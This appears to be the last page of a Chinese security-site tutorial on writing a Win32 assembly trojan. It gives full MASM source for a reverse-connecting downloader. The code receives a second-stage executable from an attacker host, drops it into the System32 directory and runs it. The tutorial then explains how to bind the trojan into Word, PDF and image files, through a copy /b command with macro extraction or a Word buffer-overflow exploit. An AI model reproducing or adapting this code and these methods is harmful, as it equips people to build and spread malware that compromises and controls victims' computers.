| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
安全365
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 安全技术首页 | 技术研究 | 技术应用 | 数据安全 | 企业专区 |
Win32汇编木马初探
Win32汇编木马初探
作者:不详 文章来源:赛迪网 点击数: 更新时间:2007-7-1 10:08:14

;已初始化的数据
.data
szFileName db 'dg.Exe',0
dirfmt db '%s\%s', 0
mainport db '80', 0
szOK db 'ok!', 0

.code
start:
;初始化winsock
invoke WSAStartup, 101h, addr wsainfo
cmp eax, 0
;PrintError
jnz endl
;创建套接字
invoke socket, AF_INET, SOCK_STREAM, IPPROTO_TCP
cmp eax, INVALID_SOCKET
;PrintError
jz endl ;出错就结束

mov mainsock, eax
mov mainsin.sin_family, AF_INET
;反连端口,80、110、25均可以
mov eax, 80
push eax
call htons
mov mainsin.sin_port, ax
;mov eax, dwRever_Ip ;攻击端IP,可根据需要自己改写,也可通过其它方式传递
mov eax, 100007fh; 这里使用127.0.0.1
mov mainsin.sin_addr, eax

;反连攻击端
invoke connect, mainsock, addr mainsin, sizeof mainsin
;PrintError
cmp eax, SOCKET_ERROR
jz endloop

;下面接收“大马”
;先接收攻击端发送的“大马”文件大小
invoke RtlZeroMemory, addr recvbuff2, sizeof recvbuff2
invoke recv, mainsock, addr recvbuff2, sizeof recvbuff2, 0
cmp eax, SOCKET_ERROR
jz endloop
cmp eax, 0
jz endloop
;返回确认信息
invoke send, mainsock, addr szOK, sizeof szOK, 0

接收文件,并放在系统目录下
upload:
;获取系统目录
invoke GetSystemDirectory, addr sysdir, sizeof sysdir
;构造路径sprintf(location, "%s\%s", sysdir, szFileName)
invoke wsprintf, addr location, addr dirfmt, addr sysdir, addr szFileName
;创建文件
invoke CreateFile, addr location, GENERIC_WRITE, FILE_SHARE_READ or\
FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
;文件句柄
mov uplfile, eax
;已接收字节数
mov bytesdone, 0

;循环接收
uploadloop:
invoke RtlZeroMemory, addr recvbuff, sizeof recvbuff
invoke recv, mainsock, addr recvbuff, sizeof recvbuff, 0
cmp eax, SOCKET_ERROR
jz upldone
cmp eax, 0
jz upldone
mov edx, eax
add bytesdone, eax
;向文件中写内容
invoke WriteFile, uplfile, addr recvbuff, edx, addr buffwrite, NULL
invoke send, mainsock, addr szOK, sizeof szOK, 0
mov edx, recvbuff2
cmp bytesdone, edx
jnae uploadloop

upldone:
invoke CloseHandle, uplfile
;“大马”命令行参数可根据需要指定
invoke ShellExecute, NULL, NULL, addr location, NULL, NULL, SW_SHOWNORMAL
endloop:
invoke closesocket, mainsock
endl:
end start
按照前面的方法编译、生成可执行程序down_exec.exe,这就是简单的汇编木马。大家可以看到,down_exec.Exe体积仅2.5k。攻击端的实现很简单,就是监听80(110、25等具有隐蔽性的端口都可以)端口,等待汇编木马执行后连接过来,然后传送并执行“大马”。具体代码参见光盘中的Server.cpp,此处不再赘述。至于“大马”,这里我用了一个个简单的dg.exe,作用是在D盘根目录下生成1.txt,里面有一串字符便于检验。

下面我们进行测试:先生成攻击端Server.Exe、dg.Exe放在tools目录中,将tools目录、Server.Exe和汇编木马down_exec.Exe一同放到“演示工具目录中”, 双击Server.Exe和down_exec.Exe,大家可以检查D盘下是否生成了1.txt,同时看看系统的System32目录下是否有一个dg.Exe。
木马文件绑定技术
最后,我们来讨论一下木马文件的绑定。我们的汇编木马不仅可以绑定在.Doc、.pdf等文件中起到保护作用,还可以绑定在.png、.jpg、.wmf等图片文件中制作成网页木马。文件绑定是比较容易实现的,但是要在母体文件打开时自动生成并执行木马文件却有很多限制,相信做过这方面工作的朋友都有所体会。
绑定文件的方法视文件母体的不同而不同,这里以在.Doc文件中绑定.Exe文件为例。向.Doc文件中绑定.Exe文件后,

要在打开该.Doc文件的时候自动生成并执行该.Exe文件方法大致有两个:
1、 利用Word提供的宏机制
举个例子:要将1.Exe绑定到2.Doc中,通过命令“copy /b 2.Doc+1.Exe new2.Doc”命令即可实现。要从new2.Doc中提取出1.Exe,则必须用Word宏机制提供的VBA编程来实现。这种实现方式容易受到Word宏机制安全设置的限制,详细介绍大家可以参考我在06年第2期写的《Word 溢出漏洞的分析和利用》。
2、利用Word溢出漏洞
这种方式虽然实现复杂,但效果却好于前一种。利用Word的溢出漏洞,我就可以构造的特定Doc文件,当窃密者打开该文件时由于Word发生缓冲区溢出而执行任意代码。具体思路如下:
我们的特定.Doc文件为abc.Doc,物理上由3部分构成。 开头部分是溢出Doc模板,它可导致Word发生溢出。溢出之后执行其中的ShellCode,判断是否为合法用户(通过硬件信息判断),如果是则提取并生成真正涉密的Doc,再调用Winword.Exe打开该文件;如果不是合法用户,则不生成真正涉密的Doc,而直接生成并执行第3部分→Exe文件。对于本文而言,这里的Exe文件就是我们的汇编木马。

上一页  [1] [2] [3] 

文章录入:洋葱头    责任编辑:洋葱头 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    认识使用 Rootkit技术的
    木马的概述
    XML木马研究
    金睛火眼—从进程中判断
    木马清除软件列表
    一秒识破机器里是否有QQ
    警惕!游戏木马生成器的
    军事秘密遭木马曝光 日本
    小心!针对魔兽世界的新
    警惕!游戏木马生成器的
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029 点击这里给我发消息

    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有